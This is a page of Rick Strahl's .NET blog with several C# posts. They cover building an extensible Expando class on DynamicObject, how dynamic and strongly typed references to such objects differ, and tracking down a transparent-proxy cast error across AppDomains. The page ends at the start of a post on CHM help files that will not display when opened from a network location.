Rick Strahl's Web Log

Creating a dynamic, extensible C# Expando Object

Rick Strahl — Wed, 08 Feb 2012 10:28:28 GMT

I love dynamic functionality in a strongly typed language because it offers us the best of both worlds. In C# (or any of the main .NET languages) we now have the dynamic type that provides a host of dynamic features for the static C# language.

One place where I've found dynamic to be incredibly useful is in building extensible types or types that expose traditionally non-object data (like dictionaries) in easier to use and more readable syntax. I wrote about a couple of these for accessing old school ADO.NET DataRows and DataReaders more easily for example. These classes are dynamic wrappers that provide easier syntax and auto-type conversions which greatly simplifies code clutter and increases clarity in existing code.

ExpandoObject in .NET 4.0

Another great use case for dynamic objects is the ability to create extensible objects - objects that start out with a set of static members and then can add additional properties and even methods dynamically. The .NET 4.0 framework actually includes an ExpandoObject class which provides a very dynamic object that allows you to add properties and methods on the fly and then access them again.

For example with ExpandoObject you can do stuff like this:

dynamic expand = new ExpandoObject();

expand.Name = "Rick";
expand.HelloWorld = (Func<string, string>) ((string name) => 
{ 
    return "Hello " + name; 
});

Console.WriteLine(expand.Name);
Console.WriteLine(expand.HelloWorld("Dufus"));

Internally ExpandoObject uses a Dictionary like structure and interface to store properties and methods and then allows you to add and access properties and methods easily. As cool as ExpandoObject is it has a few shortcomings too:

It's a sealed type so you can't use it as a base class
It only works off 'properties' in the internal Dictionary - you can't expose existing type data
It doesn't serialize to XML or with DataContractSerializer/DataContractJsonSerializer

Expando - A truly extensible Object

ExpandoObject is nice if you just need a dynamic container for a dictionary like structure. However, if you want to build an extensible object that starts out with a set of strongly typed properties and then allows you to extend it, ExpandoObject does not work because it's a sealed class that can't be inherited.

I started thinking about this very scenario for one of my applications I'm building for a customer. In this system we are connecting to various different user stores. Each user store has the same basic requirements for username, password, name etc. But then each store also has a number of extended properties that is available to each application. In the real world scenario the data is loaded from the database in a data reader and the known properties are assigned from the known fields in the database. All unknown fields are then 'added' to the expando object dynamically.

In the past I've done this very thing with a separate property - Properties - just like I do for this class. But the property and dictionary syntax is not ideal and tedious to work with.

I started thinking about how to represent these extra property structures. One way certainly would be to add a Dictionary, or an ExpandoObject to hold all those extra properties. But wouldn't it be nice if the application could actually extend an existing object that looks something like this as you can with the Expando object:

public class User : Westwind.Utilities.Dynamic.Expando
{
    public string Email { get; set; }
    public string Password { get; set; }
    public string Name { get; set; }
    public bool Active { get; set; }
    public DateTime? ExpiresOn { get; set; }
}

and then simply start extending the properties of this object dynamically? Using the Expando object I describe later you can now do the following:

[TestMethod]
public void UserExampleTest()
{            
    var user = new User();

    // Set strongly typed properties
    user.Email = "rick@west-wind.com";
    user.Password = "nonya123";
    user.Name = "Rickochet";
    user.Active = true;

    // Now add dynamic properties
    dynamic duser = user;
    duser.Entered = DateTime.Now;
    duser.Accesses = 1;

    // you can also add dynamic props via indexer
    user["NickName"] = "AntiSocialX";
    duser["WebSite"] = "http://www.west-wind.com/weblog";


    // Access strong type through dynamic ref
    Assert.AreEqual(user.Name,duser.Name);

    // Access strong type through indexer 
    Assert.AreEqual(user.Password,user["Password"]);
    

    // access dyanmically added value through indexer
    Assert.AreEqual(duser.Entered,user["Entered"]);
    
    // access index added value through dynamic
    Assert.AreEqual(user["NickName"],duser.NickName);
    

    // loop through all properties dynamic AND strong type properties (true)
    foreach (var prop in user.GetProperties(true))
    { 
        object val = prop.Value;
        if (val == null)
            val = "null";

        Console.WriteLine(prop.Key + ": " + val.ToString());
    }
}

As you can see this code somewhat blurs the line between a static and dynamic type. You start with a strongly typed object that has a fixed set of properties. You can then cast the object to dynamic (as I discussed in my last post) and add additional properties to the object. You can also use an indexer to add dynamic properties to the object.

To access the strongly typed properties you can use either the strongly typed instance, the indexer or the dynamic cast of the object. Personally I think it's kinda cool to have an easy way to access strongly typed properties by string which can make some data scenarios much easier.

To access the 'dynamically added' properties you can use either the indexer on the strongly typed object, or property syntax on the dynamic cast.

Using the dynamic type allows all three modes to work on both strongly typed and dynamic properties.

Finally you can iterate over all properties, both dynamic and strongly typed if you chose. Lots of flexibility.

Note also that by default the Expando object works against the (this) instance meaning it extends the current object. You can also pass in a separate instance to the constructor in which case that object will be used to iterate over to find properties rather than this.

Using this approach provides some really interesting functionality when use the dynamic type. To use this we have to add an explicit constructor to the Expando subclass:

public class User : Westwind.Utilities.Dynamic.Expando
{
    public string Email { get; set; }
    public string Password { get; set; }
    public string Name { get; set; }
    public bool Active { get; set; }
    public DateTime? ExpiresOn { get; set; }

    public User() : base()
    { }

    // only required if you want to mix in seperate instance
    public User(object instance)
        : base(instance)
    {
    }
}

to allow the instance to be passed. When you do you can now do:

[TestMethod]
public void ExpandoMixinTest()
{
    // have Expando work on Addresses
    var user = new User( new Address() );

    // cast to dynamicAccessToPropertyTest
    dynamic duser = user;

    // Set strongly typed properties
    duser.Email = "rick@west-wind.com";
    user.Password = "nonya123";
    
    // Set properties on address object
    duser.Address = "32 Kaiea";
    //duser.Phone = "808-123-2131";

    // set dynamic properties
    duser.NonExistantProperty = "This works too";

    // shows default value Address.Phone value
    Console.WriteLine(duser.Phone);

}

Using the dynamic cast in this case allows you to access *three* different 'objects': The strong type properties, the dynamically added properties in the dictionary and the properties of the instance passed in! Effectively this gives you a way to simulate multiple inheritance (which is scary - so be very careful with this, but you can do it).

How Expando works

Behind the scenes Expando is a DynamicObject subclass as I discussed in my last post. By implementing a few of DynamicObject's methods you can basically create a type that can trap 'property missing' and 'method missing' operations. When you access a non-existant property a known method is fired that our code can intercept and provide a value for. Internally Expando uses a custom dictionary implementation to hold the dynamic properties you might add to your expandable object.

Let's look at code first. The code for the Expando type is straight forward and given what it provides relatively short. Here it is.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Dynamic;
using System.Reflection;

namespace Westwind.Utilities.Dynamic
{
    /// <summary>
    /// Class that provides extensible properties and methods. This
    /// dynamic object stores 'extra' properties in a dictionary or
    /// checks the actual properties of the instance.
    /// 
    /// This means you can subclass this expando and retrieve either
    /// native properties or properties from values in the dictionary.
    /// 
    /// This type allows you three ways to access its properties:
    /// 
    /// Directly: any explicitly declared properties are accessible
    /// Dynamic: dynamic cast allows access to dictionary and native properties/methods
    /// Dictionary: Any of the extended properties are accessible via IDictionary interface
    /// </summary>
    [Serializable]
    public class Expando : DynamicObject, IDynamicMetaObjectProvider
    {
        /// <summary>
        /// Instance of object passed in
        /// </summary>
        object Instance;

        /// <summary>
        /// Cached type of the instance
        /// </summary>
        Type InstanceType;

        PropertyInfo[] InstancePropertyInfo
        {
            get
            {
                if (_InstancePropertyInfo == null && Instance != null)                
                    _InstancePropertyInfo = Instance.GetType().GetProperties(BindingFlags.Instance |

                                                          BindingFlags.Public | BindingFlags.DeclaredOnly);
                return _InstancePropertyInfo;                
            }
        }
        PropertyInfo[] _InstancePropertyInfo;


        /// <summary>
        /// String Dictionary that contains the extra dynamic values
        /// stored on this object/instance
        /// </summary>        
        /// <remarks>Using PropertyBag to support XML Serialization of the dictionary</remarks>
        public PropertyBag Properties = new PropertyBag();

        //public Dictionary<string,object> Properties = new Dictionary<string, object>();

        /// <summary>
        /// This constructor just works off the internal dictionary and any 
        /// public properties of this object.
        /// 
        /// Note you can subclass Expando.
        /// </summary>
        public Expando() 
        {
            Initialize(this);            
        }

        /// <summary>
        /// Allows passing in an existing instance variable to 'extend'.        
        /// </summary>
        /// <remarks>
        /// You can pass in null here if you don't want to 
        /// check native properties and only check the Dictionary!
        /// </remarks>
        /// <param name="instance"></param>
        public Expando(object instance)
        {
            Initialize(instance);
        }


        protected virtual void Initialize(object instance)
        {
            Instance = instance;
            if (instance != null)
                InstanceType = instance.GetType();           
        }


       /// <summary>
       /// Try to retrieve a member by name first from instance properties
       /// followed by the collection entries.
       /// </summary>
       /// <param name="binder"></param>
       /// <param name="result"></param>
       /// <returns></returns>
        public override bool TryGetMember(GetMemberBinder binder, out object result)
        {
            result = null;

            // first check the Properties collection for member
            if (Properties.Keys.Contains(binder.Name))
            {
                result = Properties[binder.Name];
                return true;
            }


            // Next check for Public properties via Reflection
            if (Instance != null)
            {
                try
                {
                    return GetProperty(Instance, binder.Name, out result);                    
                }
                catch { }
            }

            // failed to retrieve a property
            result = null;
            return false;
        }


        /// <summary>
        /// Property setter implementation tries to retrieve value from instance 
        /// first then into this object
        /// </summary>
        /// <param name="binder"></param>
        /// <param name="value"></param>
        /// <returns></returns>
        public override bool TrySetMember(SetMemberBinder binder, object value)
        {

            // first check to see if there's a native property to set
            if (Instance != null)
            {
                try
                {
                    bool result = SetProperty(Instance, binder.Name, value);
                    if (result)
                        return true;
                }
                catch { }
            }
            
            // no match - set or add to dictionary
            Properties[binder.Name] = value;
            return true;
        }

        /// <summary>
        /// Dynamic invocation method. Currently allows only for Reflection based
        /// operation (no ability to add methods dynamically).
        /// </summary>
        /// <param name="binder"></param>
        /// <param name="args"></param>
        /// <param name="result"></param>
        /// <returns></returns>
        public override bool TryInvokeMember(InvokeMemberBinder binder, object[] args, out object result)
        {
            if (Instance != null)
            {
                try
                {
                    // check instance passed in for methods to invoke
                    if (InvokeMethod(Instance, binder.Name, args, out result))
                        return true;                    
                }
                catch { }
            }

            result = null;
            return false;
        }
        

        /// <summary>
        /// Reflection Helper method to retrieve a property
        /// </summary>
        /// <param name="instance"></param>
        /// <param name="name"></param>
        /// <param name="result"></param>
        /// <returns></returns>
        protected bool GetProperty(object instance, string name, out object result)
        {
            if (instance == null)
                instance = this;

            var miArray = InstanceType.GetMember(name, BindingFlags.Public |

                                      BindingFlags.GetProperty | BindingFlags.Instance);
            if (miArray != null && miArray.Length > 0)
            {
                var mi = miArray[0];
                if (mi.MemberType == MemberTypes.Property)
                {
                    result = ((PropertyInfo)mi).GetValue(instance,null);
                    return true;
                }
            }

            result = null;
            return false;                
        }

        /// <summary>
        /// Reflection helper method to set a property value
        /// </summary>
        /// <param name="instance"></param>
        /// <param name="name"></param>
        /// <param name="value"></param>
        /// <returns></returns>
        protected bool SetProperty(object instance, string name, object value)
        {
            if (instance == null)
                instance = this;

            var miArray = InstanceType.GetMember(name, BindingFlags.Public |

                                                       BindingFlags.SetProperty |

                                                       BindingFlags.Instance);
            if (miArray != null && miArray.Length > 0)
            {
                var mi = miArray[0];
                if (mi.MemberType == MemberTypes.Property)
                {
                    ((PropertyInfo)mi).SetValue(Instance, value, null);
                    return true;
                }
            }
            return false;                
        }

        /// <summary>
        /// Reflection helper method to invoke a method
        /// </summary>
        /// <param name="instance"></param>
        /// <param name="name"></param>
        /// <param name="args"></param>
        /// <param name="result"></param>
        /// <returns></returns>
        protected bool InvokeMethod(object instance, string name, object[] args, out object result)
        {
            if (instance == null)
                instance = this;

            // Look at the instanceType
            var miArray = InstanceType.GetMember(name,
                                    BindingFlags.InvokeMethod |
                                    BindingFlags.Public | BindingFlags.Instance);

            if (miArray != null && miArray.Length > 0)
            {
                var mi = miArray[0] as MethodInfo;
                result = mi.Invoke(Instance, args);
                return true;
            }

            result = null;
            return false;
        }



        /// <summary>
        /// Convenience method that provides a string Indexer 
        /// to the Properties collection AND the strongly typed
        /// properties of the object by name.
        /// 
        /// // dynamic
        /// exp["Address"] = "112 nowhere lane"; 
        /// // strong
        /// var name = exp["StronglyTypedProperty"] as string; 
        /// </summary>
        /// <remarks>
        /// The getter checks the Properties dictionary first
        /// then looks in PropertyInfo for properties.
        /// The setter checks the instance properties before
        /// checking the Properties dictionary.
        /// </remarks>
        /// <param name="key"></param>
        /// 
        /// <returns></returns>
        public object this[string key]
        {
            get
            {
                try
                {
                    // try to get from properties collection first
                    return Properties[key];
                }
                catch (KeyNotFoundException ex)
                {
                    // try reflection on instanceType
                    object result = null;
                    if (GetProperty(Instance, key, out result))
                        return result;

                    // nope doesn't exist
                    throw;
                }
            }
            set
            {
                if (Properties.ContainsKey(key))
                {
                    Properties[key] = value;
                    return;
                }

                // check instance for existance of type first
                var miArray = InstanceType.GetMember(key, BindingFlags.Public | BindingFlags.GetProperty);
                if (miArray != null && miArray.Length > 0)
                    SetProperty(Instance, key, value);
                else
                    Properties[key] = value;
            }
        }


        /// <summary>
        /// Returns and the properties of 
        /// </summary>
        /// <param name="includeProperties"></param>
        /// <returns></returns>
        public IEnumerable<KeyValuePair<string,object>> GetProperties(bool includeInstanceProperties = false)
        {
            if (includeInstanceProperties && Instance != null)
            {
                foreach (var prop in this.InstancePropertyInfo)
                    yield return new KeyValuePair<string, object>(prop.Name, prop.GetValue(Instance, null));
            }

            foreach (var key in this.Properties.Keys)
               yield return new KeyValuePair<string, object>(key, this.Properties[key]);

        }
  

        /// <summary>
        /// Checks whether a property exists in the Property collection
        /// or as a property on the instance
        /// </summary>
        /// <param name="item"></param>
        /// <returns></returns>
        public bool Contains(KeyValuePair<string, object> item, bool includeInstanceProperties = false)
        {
            bool res = Properties.ContainsKey(item.Key);
            if (res)
                return true;

            if (includeInstanceProperties && Instance != null)
            {
                foreach (var prop in this.InstancePropertyInfo)
                {
                    if (prop.Name == item.Key)
                        return true;
                }
            }

            return false;
        }        

    }
}

Although the Expando class supports an indexer, it doesn't actually implement IDictionary or even IEnumerable. It only provides the indexer and Contains() and GetProperties() methods, that work against the Properties dictionary AND the internal instance.

The reason for not implementing IDictionary is that a) it doesn't add much value since you can access the Properties dictionary directly and that b) I wanted to keep the interface to class very lean so that it can serve as an entity type if desired. Implementing these IDictionary (or even IEnumerable) causes LINQ extension methods to pop up on the type which obscures the property interface and would only confuse the purpose of the type. IDictionary and IEnumerable are also problematic for XML and JSON Serialization - the XML Serializer doesn't serialize IDictionary<string,object>, nor does the DataContractSerializer. The JavaScriptSerializer does serialize, but it treats the entire object like a dictionary and doesn't serialize the strongly typed properties of the type, only the dictionary values which is also not desirable. Hence the decision to stick with only implementing the indexer to support the user["CustomProperty"] functionality and leaving iteration functions to the publicly exposed Properties dictionary.

Note that the Dictionary used here is a custom PropertyBag class I created to allow for serialization to work. One important aspect for my apps is that whatever custom properties get added they have to be accessible to AJAX clients since the particular app I'm working on is a SIngle Page Web app where most of the Web access is through JSON AJAX calls. PropertyBag can serialize to XML and one way serialize to JSON using the JavaScript serializer (not the DCS serializers though).

The key components that make Expando work in this code are the Properties Dictionary and the TryGetMember() and TrySetMember() methods. The Properties collection is public so if you choose you can explicitly access the collection to get better performance or to manipulate the members in internal code (like loading up dynamic values form a database).

Notice that TryGetMember() and TrySetMember() both work against the dictionary AND the internal instance to retrieve and set properties. This means that user["Name"] works against native properties of the object as does user["Name"] = "RogaDugDog".

What's your Use Case?

This is still an early prototype but I've plugged it into one of my customer's applications and so far it's working very well. The key features for me were the ability to easily extend the type with values coming from a database and exposing those values in a nice and easy to use manner. I'm also finding that using this type of object for ViewModels works very well to add custom properties to view models. I suspect there will be lots of uses for this - I've been using the extra dictionary approach to extensibility for years - using a dynamic type to make the syntax cleaner is just a bonus here.

What can you think of to use this for?

Resources

Posted in CSharp .NET Dynamic Types

Dynamic Types and DynamicObject References in C#

Rick Strahl — Wed, 01 Feb 2012 10:47:50 GMT

I've been working a bit with C# custom dynamic types for several customers recently and I've seen some confusion in understanding how dynamic types are referenced. This discussion specifically centers around types that implement IDynamicMetaObjectProvider or subclass from DynamicObject as opposed to arbitrary type casts of standard .NET types. IDynamicMetaObjectProvider types are treated special when they are cast to the dynamic type.

Assume for a second that I've created my own implementation of a custom dynamic type called DynamicFoo which is about as simple of a dynamic class that I can think of:

public class DynamicFoo : DynamicObject
{
    Dictionary<string, object> properties = new Dictionary<string, object>();

    public string Bar { get; set; }
    public DateTime Entered { get; set; }

    public override bool TryGetMember(GetMemberBinder binder, out object result)
    {
        result = null;
        if (!properties.ContainsKey(binder.Name))
            return false;

        result = properties[binder.Name];
        return true;
    }

    public override bool TrySetMember(SetMemberBinder binder, object value)
    {
        properties[binder.Name] = value;
        return true;
    }
}

This class has an internal dictionary member and I'm exposing this dictionary member through a dynamic by implementing DynamicObject. This implementation exposes the properties dictionary so the dictionary keys can be referenced like properties (foo.NewProperty = "Cool!"). I override TryGetMember() and TrySetMember() which are fired at runtime every time you access a 'property' on a dynamic instance of this DynamicFoo type.

Strong Typing and Dynamic Casting

I now can instantiate and use DynamicFoo in a couple of different ways:

Strong Typing

DynamicFoo fooExplicit = new DynamicFoo();
var fooVar = new DynamicFoo();

These two commands are essentially identical and use strong typing. The compiler generates identical code for both of them. The var statement is merely a compiler directive to infer the type of fooVar at compile time and so the type of fooExplicit is DynamicFoo, just like fooExplicit. This is very static - nothing dynamic about it - and it completely ignores the IDynamicMetaObjectProvider implementation of my class above as it's never used.

Using either of these I can access the native properties:

DynamicFoo fooExplicit = new DynamicFoo();


// static typing assignmentsfooVar.Bar = "Barred!";
fooExplicit.Entered = DateTime.Now;

// echo back static values
Console.WriteLine(fooVar.Bar);
Console.WriteLine(fooExplicit.Entered);

but I have no access whatsoever to the properties dictionary. Basically this creates a strongly typed instance of the type with access only to the strongly typed interface. You get no dynamic behavior at all. The IDynamicMetaObjectProvider features don't kick in until you cast the type to dynamic.

If I try to access a non-existing property on fooExplicit I get a compilation error that tells me that the property doesn't exist. Again, it's clearly and utterly non-dynamic.

Dynamic

dynamic fooDynamic = new DynamicFoo();

fooDynamic on the other hand is created as a dynamic type and it's a completely different beast. I can also create a dynamic by simply casting any type to dynamic like this:

DynamicFoo fooExplicit = new DynamicFoo();
dynamic fooDynamic = fooExplicit;

Note that dynamic typically doesn't require an explicit cast as the compiler automatically performs the cast so there's no need to use as dynamic.

Dynamic functionality works at runtime and allows for the dynamic wrapper to look up and call members dynamically. A dynamic type will look for members to access or call in two places:

Using the strongly typed members of the object
Using theIDynamicMetaObjectProvider Interface methods to access members

So rather than statically linking and calling a method or retrieving a property, the dynamic type looks up - at runtime - where the value actually comes from. It's essentially late-binding which allows runtime determination what action to take when a member is accessed at runtime *if* the member you are accessing does not exist on the object. Class members are checked first before IDynamicMetaObjectProvider interface methods are kick in.

All of the following works with the dynamic type:

dynamic fooDynamic = new DynamicFoo();
// dynamic typing assignments
fooDynamic.NewProperty = "Something new!";
fooDynamic.LastAccess = DateTime.Now;

// dynamic assigning static properties
fooDynamic.Bar = "dynamic barred";
fooDynamic.Entered = DateTime.Now;


// echo back dynamic values
Console.WriteLine(fooDynamic.NewProperty);
Console.WriteLine(fooDynamic.LastAccess);
Console.WriteLine(fooDynamic.Bar);
Console.WriteLine(fooDynamic.Entered);

The dynamic type can access the native class properties (Bar and Entered) and create and read new ones (NewProperty,LastAccess) all using a single type instance which is pretty cool. As you can see it's pretty easy to create an extensible type this way that can dynamically add members at runtime dynamically.

The Alter Ego of IDynamicObject

The key point here is that all three statements - explicit, var and dynamic - declare a new DynamicFoo(), but the dynamic declaration results in completely different behavior than the first two simply because the type has been cast to dynamic.

Dynamic binding means that the type loses its typical strong typing, compile time features. You can see this easily in the Visual Studio code editor. As soon as you assign a value to a dynamic you lose Intellisense and you see

which means there's no Intellisense and no compiler type checking on any members you apply to this instance.

If you're new to the dynamic type it might seem really confusing that a single type can behave differently depending on how it is cast, but that's exactly what happens when you use a type that implements IDynamicMetaObjectProvider. Declare the type as its strong type name and you only get to access the native instance members of the type. Declare or cast it to dynamic and you get dynamic behavior which accesses native members plus it uses IDynamicMetaObjectProvider implementation to handle any missing member definitions by running custom code.

You can easily cast objects back and forth between dynamic and the original type:

dynamic fooDynamic = new DynamicFoo();
fooDynamic.NewProperty = "New Property Value";             
DynamicFoo foo = fooDynamic;
foo.Bar = "Barred";

Here the code starts out with a dynamic cast and a dynamic assignment. The code then casts back the value to the DynamicFoo. Notice that when casting from dynamic to DynamicFoo and back we typically do not have to specify the cast explicitly - the compiler can induce the type so I don't need to specify as dynamic or as DynamicFoo.

Moral of the Story

This easy interchange between dynamic and the underlying type is actually super useful, because it allows you to create extensible objects that can expose non-member data stores and expose them as an object interface. You can create an object that hosts a number of strongly typed properties and then cast the object to dynamic and add additional dynamic properties to the same type at runtime. You can easily switch back and forth between the strongly typed instance to access the well-known strongly typed properties and to dynamic for the dynamic properties added at runtime.

Keep in mind that dynamic object access has quite a bit of overhead and is definitely slower than strongly typed binding, so if you're accessing the strongly typed parts of your objects you definitely want to use a strongly typed reference. Reserve dynamic for the dynamic members to optimize your code.

The real beauty of dynamic is that with very little effort you can build expandable objects or objects that expose different data stores to an object interface. I'll have more on this in my next post when I create a customized and extensible Expando object based on DynamicObject.

Posted in CSharp .NET

Unable to cast transparent proxy to type <type>

Rick Strahl — Fri, 13 Jan 2012 21:25:00 GMT

This is not the first time I've run into this wonderful error while creating new AppDomains in .NET and then trying to load types and access them across App Domains.

In almost all cases the problem I've run into with this error the problem comes from the two AppDomains involved loading different copies of the same type. Unless the types match exactly and come exactly from the same assembly the typecast will fail. The most common scenario is that the types are loaded from different assemblies - as unlikely as that sounds.

An Example of Failure

To give some context, I'm working on some old code in Html Help Builder that creates a new AppDomain in order to parse assembly information for documentation purposes. I create a new AppDomain in order to load up an assembly process it and then immediately unload it along with the AppDomain. The AppDomain allows for unloading that otherwise wouldn't be possible as well as isolating my code from the assembly that's being loaded.

The process to accomplish this is fairly established and I use it for lots of applications that use add-in like functionality - basically anywhere where code needs to be isolated and have the ability to be unloaded. My pattern for this is:

Create a new AppDomain
Load a Factory Class into the AppDomain
Use the Factory Class to load additional types from the remote domain

Here's the relevant code from my TypeParserFactory that creates a domain and then loads a specific type - TypeParser - that is accessed cross-AppDomain in the parent domain:

public class TypeParserFactory : System.MarshalByRefObject,IDisposable    
{
    …

/// <summary>
/// TypeParser Factory method that loads the TypeParser
/// object into a new AppDomain so it can be unloaded.
/// Creates AppDomain and creates type.
/// </summary>
/// <returns></returns>
public TypeParser CreateTypeParser() 
{
    if (!CreateAppDomain(null))
        return null;

    /// Create the instance inside of the new AppDomain
    /// Note: remote domain uses local EXE's AppBasePath!!!
    TypeParser parser = null;

    try 
    {
       Assembly assembly = Assembly.GetExecutingAssembly();               
       string assemblyPath = Assembly.GetExecutingAssembly().Location;
       parser = (TypeParser) this.LocalAppDomain.CreateInstanceFrom(assemblyPath,
                                              typeof(TypeParser).FullName).Unwrap();                              
    }
    catch (Exception ex)
    {
        this.ErrorMessage = ex.GetBaseException().Message;
        return null;
    }

    return parser;
}

private bool CreateAppDomain(string lcAppDomain) 
{
    if (lcAppDomain == null)
        lcAppDomain = "wwReflection" + Guid.NewGuid().ToString().GetHashCode().ToString("x");

    AppDomainSetup setup = new AppDomainSetup();

    // *** Point at current directory
    setup.ApplicationBase = AppDomain.CurrentDomain.BaseDirectory;
    //setup.PrivateBinPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "bin");

    this.LocalAppDomain = AppDomain.CreateDomain(lcAppDomain,null,setup);

    // Need a custom resolver so we can load assembly from non current path
    AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve);
    
    return true;
}
   …
}

Note that the classes must be either [Serializable] (by value) or inherit from MarshalByRefObject in order to be accessible remotely. Here I need to call methods on the remote object so all classes are MarshalByRefObject.

The specific problem code is the loading up a new type which points at an assembly that visible both in the current domain and the remote domain and then instantiates a type from it. This is the code in question:

Assembly assembly = Assembly.GetExecutingAssembly();               
string assemblyPath = Assembly.GetExecutingAssembly().Location;
parser = (TypeParser) this.LocalAppDomain.CreateInstanceFrom(assemblyPath,
                                       typeof(TypeParser).FullName).Unwrap();

The last line of code is what blows up with the Unable to cast transparent proxy to type <type> error. Without the cast the code actually returns a TransparentProxy instance, but the cast is what blows up. In other words I AM in fact getting a TypeParser instance back but it can't be cast to the TypeParser type that is loaded in the current AppDomain.

Finding the Problem

To see what's going on I tried using the .NET 4.0 dynamic type on the result and lo and behold it worked with dynamic - the value returned is actually a TypeParser instance:

Assembly assembly = Assembly.GetExecutingAssembly();               
string assemblyPath = Assembly.GetExecutingAssembly().Location;
object objparser = this.LocalAppDomain.CreateInstanceFrom(assemblyPath,
                                      typeof(TypeParser).FullName).Unwrap();


// dynamic works
dynamic dynParser = objparser;
string info = dynParser.GetVersionInfo(); // method call works

// casting fails
parser = (TypeParser)objparser;

So clearly a TypeParser type is coming back, but nevertheless it's not the right one. Hmmm… mysterious.
Another couple of tries reveal the problem however:

// works
dynamic dynParser = objparser;
string info = dynParser.GetVersionInfo(); // method call works

// c:\wwapps\wwhelp\wwReflection20.dll   (Current Execution Folder)
string info3 = typeof(TypeParser).Assembly.CodeBase;

// c:\program files\vfp9\wwReflection20.dll   (my COM client EXE's folder)
string info4 = dynParser.GetType().Assembly.CodeBase;

// fails
parser = (TypeParser)objparser;

As you can see the second value is coming from a totally different assembly. Note that this is even though I EXPLICITLY SPECIFIED an assembly path to load the assembly from! Instead .NET decided to load the assembly from the original ApplicationBase folder. Ouch!

How I actually tracked this down was a little more tedious: I added a method like this to both the factory and the instance types and then compared notes:

public string GetVersionInfo()
{
    return ".NET Version: " + Environment.Version.ToString() + "\r\n" +
    "wwReflection Assembly: " + typeof(TypeParserFactory).Assembly.CodeBase.Replace("file:///", "").Replace("/", "\\") + "\r\n" +
    "Assembly Cur Dir: " + Directory.GetCurrentDirectory() + "\r\n" +
    "ApplicationBase: " + AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "\r\n" +
    "App Domain: " + AppDomain.CurrentDomain.FriendlyName + "\r\n";
}

For the factory I got:

.NET Version: 4.0.30319.239
wwReflection Assembly: c:\wwapps\wwhelp\bin\wwreflection20.dll
Assembly Cur Dir: c:\wwapps\wwhelp
ApplicationBase: C:\Programs\vfp9\
App Domain: wwReflection534cfa1f

For the instance type I got:

.NET Version: 4.0.30319.239
wwReflection Assembly: C:\\Programs\\vfp9\wwreflection20.dll
Assembly Cur Dir: c:\\wwapps\\wwhelp
ApplicationBase: C:\\Programs\\vfp9\
App Domain: wwDotNetBridge_56006605

which clearly shows the problem. You can see that both are loading from different appDomains but the each is loading the assembly from a different location.

Probably a better solution yet (for ANY kind of assembly loading problem) is to use the .NET Fusion Log Viewer to trace assembly loads.The Fusion viewer will show a load trace for each assembly loaded and where it's looking to find it. Here's what the viewer looks like:

The last trace above that I found for the second wwReflection20 load (the one that is wonky) looks like this:

*** Assembly Binder Log Entry  (1/13/2012 @ 3:06:49 AM) ***

The operation was successful.
Bind result: hr = 0x0. The operation completed successfully.

Assembly manager loaded from:  C:\Windows\Microsoft.NET\Framework\V4.0.30319\clr.dll
Running under executable  c:\programs\vfp9\vfp9.exe
--- A detailed error log follows. 

=== Pre-bind state information ===
LOG: User = Ras\ricks
LOG: DisplayName = wwReflection20, Version=4.61.0.0, Culture=neutral, PublicKeyToken=null
 (Fully-specified)
LOG: Appbase = file:///C:/Programs/vfp9/
LOG: Initial PrivatePath = NULL
LOG: Dynamic Base = NULL
LOG: Cache Base = NULL
LOG: AppName = vfp9.exe
Calling assembly : (Unknown).
===
LOG: This bind starts in default load context.
LOG: Using application configuration file: C:\Programs\vfp9\vfp9.exe.Config
LOG: Using host configuration file: 
LOG: Using machine configuration file from C:\Windows\Microsoft.NET\Framework\V4.0.30319\config\machine.config.
LOG: Policy not being applied to reference at this time (private, custom, partial, or location-based assembly bind).
LOG: Attempting download of new URL file:///C:/Programs/vfp9/wwReflection20.DLL.
LOG: Assembly download was successful. Attempting setup of file: C:\Programs\vfp9\wwReflection20.dll
LOG: Entering run-from-source setup phase.
LOG: Assembly Name is: wwReflection20, Version=4.61.0.0, Culture=neutral, PublicKeyToken=null
LOG: Binding succeeds. Returns assembly from C:\Programs\vfp9\wwReflection20.dll.
LOG: Assembly is loaded in default load context.
WRN: The same assembly was loaded into multiple contexts of an application domain:
WRN: Context: Default | Domain ID: 2 | Assembly Name: wwReflection20, Version=4.61.0.0, Culture=neutral, PublicKeyToken=null
WRN: Context: LoadFrom | Domain ID: 2 | Assembly Name: wwReflection20, Version=4.61.0.0, Culture=neutral, PublicKeyToken=null
WRN: This might lead to runtime failures.
WRN: It is recommended to inspect your application on whether this is intentional or not.
WRN: See whitepaper http://go.microsoft.com/fwlink/?LinkId=109270 for more information and common solutions to this issue.

Notice that the fusion log clearly shows that the .NET loader makes no attempt to even load the assembly from the path I explicitly specified.

Remember your Assembly Locations

As mentioned earlier all failures I've seen like this ultimately resulted from different versions of the same type being available in the two AppDomains. At first sight that seems ridiculous - how could the types be different and why would you have multiple assemblies - but there are actually a number of scenarios where it's quite possible to have multiple copies of the same assembly floating around in multiple places.

If you're hosting different environments (like hosting the Razor Engine, or ASP.NET Runtime for example) it's common to create a private BIN folder and it's important to make sure that there's no overlap of assemblies.

In my case of Html Help Builder the problem started because I'm using COM interop to access the .NET assembly and the above code. COM Interop has very specific requirements on where assemblies can be found and because I was mucking around with the loader code today, I ended up moving assemblies around to a new location for explicit loading. The explicit load works in the main AppDomain, but failed in the remote domain as I showed. The solution here was simple enough: Delete the extraneous assembly which was left around by accident.

Not a common problem, but one that when it bites is pretty nasty to figure out because it seems so unlikely that types wouldn't match. I know I've run into this a few times and writing this down hopefully will make me remember in the future rather than poking around again for an hour trying to debug the issue as I did today. Hopefully it'll save some of you some time as well in the future.

Posted in .NET COM

Problems with opening CHM Help files from Network or Internet

Rick Strahl — Wed, 11 Jan 2012 08:13:00 GMT

As a publisher of a Help Creation tool called Html Help Help Builder, I’ve seen a lot of problems with help files that won't properly display actual topic content and displays an error message for topics instead. Here’s the scenario: You go ahead and happily build your fancy, schmanzy Help File for your application and deploy it to your customer. Or alternately you've created a help file and you let your customers download them off the Internet directly or in a zip file.

The customer downloads the file, opens the zip file and copies the help file contained in the zip file to disk. She then opens the help file and finds the following unfortunate result:

The help file comes up with all topics in the tree on the left, but a Navigation to the WebPage was cancelled or Operation Aborted error in the Help Viewer's content window whenever you try to open a topic. The CHM file obviously opened since the topic list is there, but the Help Viewer refuses to display the content. Looks like a broken help file, right? But it's not - it's merely a Windows security 'feature' that tries to be overly helpful in protecting you.

